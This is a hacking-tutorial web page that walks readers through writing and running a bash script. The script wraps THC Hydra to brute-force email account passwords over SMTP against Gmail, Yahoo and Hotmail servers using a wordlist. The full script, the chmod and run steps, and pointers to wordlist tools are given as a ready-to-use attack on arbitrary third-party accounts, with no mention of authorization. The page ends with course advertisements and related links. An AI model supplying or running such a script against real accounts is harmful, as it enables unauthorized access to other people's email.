How to Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra) « Null Byte :: WonderHowTo

Hi, my name is Alan, and I am not a script kiddy brat from Xbox Live asking you how to boot someone offline for being mean to me. I am an amateur white hat hacker hoping to learn and teach and this is my first tutorial.THC Hydra is very prominent online brute-force tool and has been featured in Null-Byte quite a lot. It is dictionary based, as you will have to provide a wordlist with possible passwords. You can read the README here:https://github.com/vanhauser-thc/thc-hydraToday ,we will be focusing on brute forcing email, or more specifically, SMTP, also known as the Simple Mail Transfer Protocol. It is your standard protocol for sending electronic mail.Let's get started!Step 1: Open Up Kali!Of course, we will be using Kali Linux. I use mine on VMware Workstation, but it won't really matter what you use.Let's open up Leafpad, or your text editing program of your choice.Step 2: Bash Time!We're going to write a little bit of script, so that we can save some time instead of going through the hassle of actually typing out parameters.On Leafpad, type:#! /bin/bashecho Simple Email Cracking Script in bashecho Written By: Alan Caoecho NOTE: Make sure you have wordlists!echo Let us Begin:echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:read smtpecho Enter Email Address:read emailecho Provide Directory of Wordlist for Passwords:read wordlisthydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtpAnd after you got it, save it as anything you want, but with .sh at the end. Make sure it is in the root directory. Not on your desktop, but in /root.Now, I am going to explain how the script works.#! /bin/bashsimply means that everything is in bash.echosimply means to tell the computer to say something. For example,echo Hello Worldmeans to tell the computer to output Hello World.readis asking for user input. this will then store your input into a variable.read emailwould mean for you to enter something, and it will be stored into theemail.hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtpis the THC Hydra command which will help brute-force the email address. As you may tell, there are some parameters with a $. This is the variable with stored values you previously input in thereadcommand.Step 3: PermissionsWe're not done yet! The file you have saved (in root, right?) only has read and write permissions. This means you cannot execute it.Let's open up Terminal. Type inchmod a+x yourscript.sh(ofc replace yourscript with the name you actually gave to the bash file)Step 4: Execute!Now we can finally use it!In terminal, let's type./yourscript.shIt's working!The script is self-explanatory. Type in the SMTP service of the target's email, where smtp.gmail.com is Gmail. After that, you provide the gmail account, such as johndoe@gmail.com and give a wordlist directory, which you can find some default ones in the /usr/share/wordlists directory, or you can create your own with Crunch or CUPP.https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/Thanks for reading, and please provide some feedback. Ofc, this is my first How-to...Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Brute-Force Nearly Any Website Login with HatchHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Bash (Shell) Scripting for BeginnersHow To:Beatbox Tutorial - The BasicsHow To:Audit remote password using THC-Hydra